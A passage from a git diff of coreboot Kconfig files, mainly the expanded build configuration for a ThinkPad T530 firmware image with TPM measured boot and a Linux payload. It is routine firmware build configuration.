CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x04000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +CONFIG_USE_DDR3=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +# CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_SPI_FLASH_ADESTO=y +CONFIG_SPI_FLASH_AMIC=y +CONFIG_SPI_FLASH_ATMEL=y +CONFIG_SPI_FLASH_EON=y +CONFIG_SPI_FLASH_MACRONIX=y +CONFIG_SPI_FLASH_SPANSION=y +CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y +CONFIG_HAVE_EM100PRO_SPI_CONSOLE_SUPPORT=y +CONFIG_TPM_INIT_RAMSTAGE=y +# CONFIG_TPM_PPI is not set +CONFIG_NO_UART_ON_SUPERIO=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +CONFIG_HAVE_USBDEBUG=y +CONFIG_HAVE_USBDEBUG_OPTIONS=y CONFIG_USBDEBUG=y +CONFIG_USBDEBUG_IN_PRE_RAM=y +CONFIG_USBDEBUG_DEFAULT_PORT=0 +CONFIG_USBDEBUG_DONGLE_STD=y +# CONFIG_USBDEBUG_DONGLE_BEAGLEBONE is not set +# CONFIG_USBDEBUG_DONGLE_FTDI_FT232H is not set +# CONFIG_USBDEBUG_DONGLE_WCH_CH347 is not set +CONFIG_USBDEBUG_OPTIONAL_HUB_PORT=0 +# CONFIG_VPD is not set +# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_INTEL_DDI=y +CONFIG_INTEL_INT15=y +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +CONFIG_GFX_GMA=y +CONFIG_GFX_GMA_DYN_CPU=y +CONFIG_GFX_GMA_GENERATION="Haswell" +CONFIG_GFX_GMA_PCH="Lynx_Point" +CONFIG_GFX_GMA_PANEL_2_PORT="Disabled" +CONFIG_GFX_GMA_ANALOG_I2C_PORT="PCH_DAC" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +CONFIG_MEMORY_MAPPED_TPM=y +CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +CONFIG_VBOOT_LIB=y +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +# CONFIG_NO_TPM is not set +CONFIG_TPM1=y +CONFIG_TPM=y +CONFIG_MAINBOARD_HAS_TPM1=y +# CONFIG_TPM_DEACTIVATE is not set +# CONFIG_DEBUG_TPM is not set +# CONFIG_TPM_RDRESP_NEED_DELAY is not set +# CONFIG_TPM_LOG_CB is not set +CONFIG_TPM_LOG_TPM1=y +CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_INTEL_TXT is not set +# CONFIG_STM is not set +# CONFIG_INTEL_CBNT_SUPPORT is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +CONFIG_CONSOLE_USB=y +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_EM100PRO_SPI_CONSOLE is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_HAVE_OPTION_TABLE=y +CONFIG_IOAPIC=y +CONFIG_USE_WATCHDOG_ON_BOOT=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# + +# +# General Debug Settings +# +# CONFIG_FATAL_ASSERTS is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_RAMSTAGE_ADA=y +CONFIG_RAMSTAGE_LIBHWBASE=y +CONFIG_HWBASE_DYNAMIC_MMIO=y +CONFIG_HWBASE_DEFAULT_MMCONF=0xf0000000 +CONFIG_HWBASE_DIRECT_PCIDEV=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-t530-maximized.config b/config/coreboot-t530-maximized.config index 54df4461e..2a05f5659 100644 --- a/config/coreboot-t530-maximized.config +++ b/config/coreboot-t530-maximized.config @@ -1,30 +1,714 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +# CONFIG_OPTION_BACKEND_NONE is not set CONFIG_USE_OPTION_TABLE=y CONFIG_STATIC_OPTION_TABLE=y +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set CONFIG_VENDOR_LENOVO=y +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_FAMILY="ThinkPad T530" +CONFIG_MAINBOARD_PART_NUMBER="ThinkPad T530" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="lenovo/t530" +CONFIG_VGA_BIOS_ID="8086,0166" +CONFIG_DIMM_MAX=4 +CONFIG_DIMM_SPD_SIZE=256 +CONFIG_FMDFILE="" CONFIG_NO_POST=y +CONFIG_MAINBOARD_VENDOR="LENOVO" CONFIG_CBFS_SIZE=0xBE4FFF +CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=1600 +CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=2560 +CONFIG_MAX_CPUS=8 +CONFIG_ONBOARD_VGA_IS_PRIMARY=y +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VARIANT_DIR="t530" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="LENOVO" +CONFIG_DRAM_RESET_GATE_GPIO=10 +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" +CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" +CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_TPM_PIRQ=0x0 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfefe0000 +CONFIG_DCACHE_RAM_SIZE=0x20000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x10000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y +CONFIG_SPI_FLASH_WINBOND=y +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="@BLOB_DIR@/xx30/ifd.bin" CONFIG_ME_BIN_PATH="@BLOB_DIR@/xx30/me.bin" CONFIG_GBE_BIN_PATH="@BLOB_DIR@/xx30/gbe.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x80000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_GIGADEVICE=y +CONFIG_SPI_FLASH_STMICRO=y +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="ThinkPad T530" CONFIG_HAVE_IFD_BIN=y +CONFIG_PCIEXP_HOTPLUG_BUSES=8 +CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 +# CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set +# CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set +# CONFIG_BOARD_LENOVO_L520 is not set +# CONFIG_BOARD_LENOVO_S230U is not set +# CONFIG_BOARD_LENOVO_T400 is not set +# CONFIG_BOARD_LENOVO_T500 is not set +# CONFIG_BOARD_LENOVO_R400 is not set +# CONFIG_BOARD_LENOVO_R500 is not set +# CONFIG_BOARD_LENOVO_W500 is not set +# CONFIG_BOARD_LENOVO_T410 is not set +# CONFIG_BOARD_LENOVO_T420 is not set +# CONFIG_BOARD_LENOVO_T420S is not set +# CONFIG_BOARD_LENOVO_THINKPAD_T430 is not set +# CONFIG_BOARD_LENOVO_T430S is not set +# CONFIG_BOARD_LENOVO_T431S is not set +# CONFIG_BOARD_LENOVO_T520 is not set +# CONFIG_BOARD_LENOVO_W520 is not set CONFIG_BOARD_LENOVO_T530=y +# CONFIG_BOARD_LENOVO_W530 is not set +# CONFIG_BOARD_LENOVO_T60 is not set +# CONFIG_BOARD_LENOVO_Z61T is not set +# CONFIG_BOARD_LENOVO_R60 is not set +# CONFIG_BOARD_LENOVO_THINKCENTRE_A58 is not set +# CONFIG_BOARD_LENOVO_X131E is not set +# CONFIG_BOARD_LENOVO_X1_CARBON_GEN1 is not set +# CONFIG_BOARD_LENOVO_X200 is not set +# CONFIG_BOARD_LENOVO_X301 is not set +# CONFIG_BOARD_LENOVO_X201 is not set +# CONFIG_BOARD_LENOVO_X220 is not set +# CONFIG_BOARD_LENOVO_X220I is not set +# CONFIG_BOARD_LENOVO_X1 is not set +# CONFIG_BOARD_LENOVO_X230 is not set +# CONFIG_BOARD_LENOVO_X230T is not set +# CONFIG_BOARD_LENOVO_X230S is not set +# CONFIG_BOARD_LENOVO_X230_EDP is not set +# CONFIG_BOARD_LENOVO_X60 is not set +CONFIG_VBOOT_SLOTS_RW_AB=y +CONFIG_DRIVER_LENOVO_SERIALS=y +CONFIG_PS2K_EISAID="LEN0071" +CONFIG_PS2M_EISAID="LEN0015" +CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" +CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" +CONFIG_BOARD_LENOVO_BASEBOARD_T530=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +# CONFIG_PCIEXP_L1_SUB_STATE is not set +# CONFIG_PCIEXP_CLK_PM is not set +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +CONFIG_COREBOOT_ROMSIZE_KB_12288=y +# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=12288 +CONFIG_ROM_SIZE=0x00c00000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="northbridge/intel/sandybridge/chipset.cb" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x100000 +CONFIG_SMM_MODULE_STACK_SIZE=0x400 +# CONFIG_USE_EXP_X86_64_SUPPORT is not set +CONFIG_SERIRQ_CONTINUOUS_MODE=y +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 +CONFIG_EHCI_BAR=0xfef00000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_INTEL_GMA_BCLV_OFFSET=0x48254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_DCACHE_RAM_MRC_VAR_SIZE=0x0 +CONFIG_HPET_MIN_TICKS=0x80 +CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 +CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 +CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_FIXED_SMBUS_IO_BASE=0x400 +CONFIG_CBFS_CACHE_ALIGN=8 + +# +# CPU +# +CONFIG_CPU_INTEL_MODEL_206AX=y +CONFIG_CPU_INTEL_COMMON=y +CONFIG_ENABLE_VMX=y +CONFIG_SET_IA32_FC_LOCK_BIT=y +CONFIG_SET_MSR_AESNI_LOCK_BIT=y +CONFIG_CPU_INTEL_COMMON_TIMEBASE=y +CONFIG_CPU_INTEL_COMMON_SMM=y +CONFIG_MICROCODE_UPDATE_PRE_RAM=y +CONFIG_PARALLEL_MP=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_TSC_SYNC_MFENCE=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set + +# +# Northbridge +# +CONFIG_USE_NATIVE_RAMINIT=y +CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y +# CONFIG_NATIVE_RAMINIT_IGNORE_MAX_MEM_FUSES is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_MAX_DIMMS is not set +# CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set +# CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set +CONFIG_RAMINIT_ENABLE_ECC=y + +# +# Southbridge +# +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y +CONFIG_SOUTHBRIDGE_INTEL_C216=y +# CONFIG_HIDE_MEI_ON_ERROR is not set +CONFIG_PCIEXP_HOTPLUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMCLIB=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_ME=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_EARLY_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI_ICH9=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ=y +CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_FINALIZE=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set # CONFIG_INTEL_CHIPSET_LOCKDOWN is not set +CONFIG_TCO_SPACE_NOT_YET_SPLIT=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_WATCHDOG=y +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_ACPI=y +CONFIG_EC_LENOVO_H8=y +CONFIG_H8_BEEP_ON_DEATH=y +CONFIG_H8_FLASH_LEDS_ON_DEATH=y +# CONFIG_H8_SUPPORT_BT_ON_WIFI is not set +# CONFIG_H8_FN_CTRL_SWAP is not set +CONFIG_H8_HAS_BAT_THRESHOLDS_IMPL=y +CONFIG_EC_LENOVO_PMH7=y + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_CHECK_ME is not set +# 